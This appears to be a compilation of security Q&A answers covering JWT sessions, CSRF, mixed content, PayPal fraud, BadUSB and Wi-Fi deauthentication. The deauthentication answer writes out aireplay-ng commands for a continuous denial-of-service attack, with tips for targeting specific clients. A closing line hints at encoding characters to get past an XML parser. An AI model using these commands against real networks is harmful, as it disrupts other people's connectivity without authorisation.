You have one wrong assumption: the phone does not perform the check. The SIM card is a tiny computer. It does the verification by itself and it is able to lock itself and prevent the phone to read its content after being locked.


JWT: A solution to let the token expire after a certain time of inactivity?

JWTs are self-describing integrity checked tokens. They are not designed for the use-case you described. JWTs cannot be expired on demand, nor can their validity be extended.

What you can do with these tokens is issue new tokens, just like you described. This will not invalidate the old ones. You will end up generating lots of tokens which will expire by themselves.

  Am I missing a major flaw with this approach?

JWTs are not designed for a full-blown session management. They come with various tradeoffs. One of these is the inability to update them or expire them on-demand. The workaround you described works perfectly. I wrote a short post about session management, which should help you decide whether to make the tradeoffs.

In my opinion, you should probably move to the "classical" session management model. It supports idle timeouts and you also won't end up with lots of "sessions" (tokens).


Does Anti-Forgery token make sense if cross-origin requests aren't supported?

Cross Site Request Forgery is by definition a cross-site request. If cross-site requests are not accepted by your application (i.e. everything same-site) then of course CSRF is not a problem. But, make sure that you properly check if this request is really a same-site request. This means especially that you should not allow empty Referer headers because these can be created by cross-site requests and that you should not check the Referer header with an overly permissive regular expression.


Why aren't mixed-content connections allowed on localhost?

Mixed-content requests are generally discouraged as they leak information about secure content over insecure channels.

Localhost isn't considered special in that regard.  In fact localhost can be seen as a higher risk since a page being able to load something on localhost could bypass the browser sandbox.


Should I change phone number and e-mail address after PayPal fraud?

Changing your e-mail and phone number is silly.  Your phone number, unless unlisted, is a matter of public record and easily discoverable.  Even if unlisted, it is still a publicly shared identifier that can be discovered with some investigating.  Your e-mail address is also a public identifier and can be discovered with some effort.

Having identifiers in the hands of an attacker is not an immediate threat as long as they don't have access to those identifiers.  An attacker knowing your phone number doesn't allow them to use your phone.  Similarly, if an attacker has your e-mail address, as long as your password to your e-mail address is secure (change it to be sure) then they can't make use of your e-mail address either.

Both of these can be spoofed, through either caller id spoofing or e-mail sender spoofing, but such spoofing is easily detectible to anyone who knows what to look for (and any high threat target should be aware of these things and check them, or simply have procedures built in to verification to mitigate this.)

When you are comprised, the important part is to remove access from the attacker.  Credit card and bank account numbers change because they are used without any authentication, so they act as both identifier and authentication, thus they have to change.  Anything that requires a separate authentication (even if simply the physical access) doesn't have to change as long as the authentication can be assured to not be compromised.


How to identify which storage USB device is BadUSB-free at store?

Popular commercial brands are not going to have the BadUSB exploit "installed" when it comes from the factory.

You must understand how the badUSB exploit works. BadUSB is an exploit that can be executed against almost ANY USB drive. It's not something that can be exploited on some vendor drives and not other drives.

For your drive to become compromised, one of three scenarios would need to happen:

Vendor gets compromised and unknowingly starts sending out USB devices with firmware malware (BadUSB) installed.
Someone gets their hands on your USB drive and compromises the firmware without your knowledge.
Malware on your PC infects your USB device's firmware.

The chance of any of these scenarios happening are honestly quite small.

A quite detailed blog article by Sophos security on this topic can be found here:
https://nakedsecurity.sophos.com/2014/10/06/badusb-now-with-do-it-yourself-instructions/


I couldn't deauth any devices using aireplay-ng command in kali linux

First of all the command starts like this aireplay-ng --deauth 60 or aireplay-ng -0 60 for 60 packets or to send it continuously (DoS) aireplay-ng --deauth 0 or aireplay-ng -0 0. Anyway if you see an output it mean that you typed it right.
Second, have you tried the basic troubleshooting?

Why does deauthentication not work?
There can be several reasons and one or more can affect you:

You are physically too far away from the client(s). You need enough transmit power for the packets to reach and be heard by the clients. If you do a full packet capture, each packet sent to the client should result in an “ack” packet back. This means the client heard the packet. If there is no “ack” then likely it did not receive the packet.

Wireless cards work in particular modes such b, g, n and so on. If your card is in a different mode then the client card there is good chance that the client will not be able to correctly receive your transmission. See the previous item for confirming the client received the packet.

Some clients ignore broadcast deauthentications. If this is the case, you will need to send a deauthentication directed at the particular client. (I see that you already tried this one, some AP have a protection that if you're not "authenticated" it will drop a deauth from a random/unknown source for obvious reasons so always try to add the -c [target_mac] flag)

Clients may reconnect too fast for you to see that they had been disconnected. If you do a full packet capture, you will be able to look for the reassociation packets in the capture to confirm deauthentication worked. (Have you opened the packet capture?)

Taken from Aircrack-ng documentation
Please try all this and share what you wanted to achieve, what have you tried, what where the inputs and outputs.


A lot depends on the application's XML parser. However try encoding % by using &#37;